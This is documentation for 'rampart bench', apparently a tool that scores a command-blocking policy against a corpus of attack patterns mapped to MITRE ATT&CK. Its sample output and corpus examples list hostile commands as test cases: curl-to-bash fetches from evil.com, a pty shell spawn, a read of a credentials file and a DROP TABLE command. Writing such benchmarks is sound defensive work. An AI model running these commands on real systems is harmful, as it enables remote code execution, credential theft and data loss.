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rampart bench scores your policy against a corpus of real-world attack patterns. Each test case is tagged with severity and MITRE ATT&CK technique IDs, giving you coverage metrics that map to threat intelligence frameworks.

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Quick Start

# Score the standard policy against all attack patterns
rampart bench

# Score a custom policy
rampart bench --policy ~/.rampart/policies/custom.yaml

# CI mode: fail if coverage drops below threshold
rampart bench --min-coverage 85 --strict

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Output

Rampart Policy Benchmark
Policy: standard.yaml (47 rules)
Corpus: 156 test cases

Coverage by Severity:
  critical (24 cases): 100.0% (24/24)
  high (67 cases):      97.0% (65/67)
  medium (65 cases):    89.2% (58/65)

Coverage by Category:
  credential-access:    100.0% (18/18)  T1552, T1555
  execution:             95.0% (19/20)  T1059, T1204
  exfiltration:          92.3% (12/13)  T1048, T1567
  persistence:           88.9% (16/18)  T1053, T1543
  defense-evasion:       85.7% (12/14)  T1140, T1027

Weighted Score: 94.2%
  (critical=3x, high=2x, medium=1x)

Uncovered Cases (5):
  ID           Severity  Category          Command
  exec-042     high      execution         python3 -c "import pty; pty.spawn('/bin/bash')"
  persist-017  medium    persistence       at now + 1 minute <<< "curl http://evil.com/sh | bash"
  ...

Run with --verbose for full case-by-case results.

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Flags

FlagDefaultDescription
--policy~/.rampart/policies/standard.yamlPolicy file to benchmark
--corpusBuilt-in corpusPath to custom corpus YAML
--oslinuxFilter cases by OS: linux, darwin, windows, *
--severitymediumMinimum severity to include: critical, high, medium
--min-coverage—Exit 1 if weighted coverage is below this percent
--strictfalseOnly count deny as covered (not watch or ask)
--id—Run only cases with this ID prefix
--category—Filter to a single corpus category
--jsonfalseOutput results as JSON
--verbosefalseInclude per-case results

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CI Integration

Add benchmarking to your CI pipeline to catch policy regressions: 
# .github/workflows/policy.yml
jobs:
  bench:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Install Rampart
        run: curl -fsSL https://rampart.sh/install | bash
      - name: Benchmark policy
        run: rampart bench --min-coverage 90 --strict
If coverage drops below 90%, the workflow fails. Use --strict to ensure critical patterns result in deny, not just watch.

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MITRE ATT&CK Mapping

Each test case in the corpus is tagged with MITRE ATT&CK technique IDs: 
# bench/corpus.yaml excerpt
- id: exec-001
  severity: critical
  category: execution
  mitre:
    - T1059.004   # Command and Scripting Interpreter: Unix Shell
  command: "curl http://evil.com/payload | bash"
  expect: deny
The benchmark output shows which techniques your policy covers. Use this for:
  • Compliance reporting — map coverage to frameworks your org uses
  • Gap analysis — identify ATT&CK techniques with weak coverage
  • Red team validation — verify your policy catches known TTPs

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Weighted Scoring

The weighted score prioritizes critical and high-severity patterns:
SeverityWeight
critical3x
high2x
medium1x
A policy that blocks all critical and high patterns but misses some medium-severity cases still scores well. This reflects real-world risk: credential theft (critical) matters more than overly verbose logging (medium).

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Custom Corpus

Create a custom corpus for your specific environment: 
# my-corpus.yaml
version: "1"
cases:
  - id: myapp-001
    severity: critical
    category: credential-access
    mitre: [T1552.001]
    description: "Access production database credentials"
    command: "cat /opt/myapp/config/db.env"
    expect: deny
    
  - id: myapp-002
    severity: high
    category: execution
    mitre: [T1059.001]
    command: "psql $PROD_DB -c 'DROP TABLE users'"
    expect: deny
Run against your corpus: 
rampart bench --corpus my-corpus.yaml

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Filtering

Run a subset of tests: 
# Only Windows attack patterns
rampart bench --os windows

# Only critical severity
rampart bench --severity critical

# Only credential access category
rampart bench --category credential-access

# Only cases starting with "exec-"
rampart bench --id exec-

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JSON Output

For programmatic processing: 
rampart bench --json > results.json

{
  "policy": "standard.yaml",
  "ruleCount": 47,
  "totalCases": 156,
  "covered": 147,
  "coveragePercent": 94.2,
  "bySeverity": {
    "critical": {"total": 24, "covered": 24, "percent": 100.0},
    "high": {"total": 67, "covered": 65, "percent": 97.0},
    "medium": {"total": 65, "covered": 58, "percent": 89.2}
  },
  "uncoveredCases": [
    {"id": "exec-042", "severity": "high", "command": "..."}
  ]
}

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See Also

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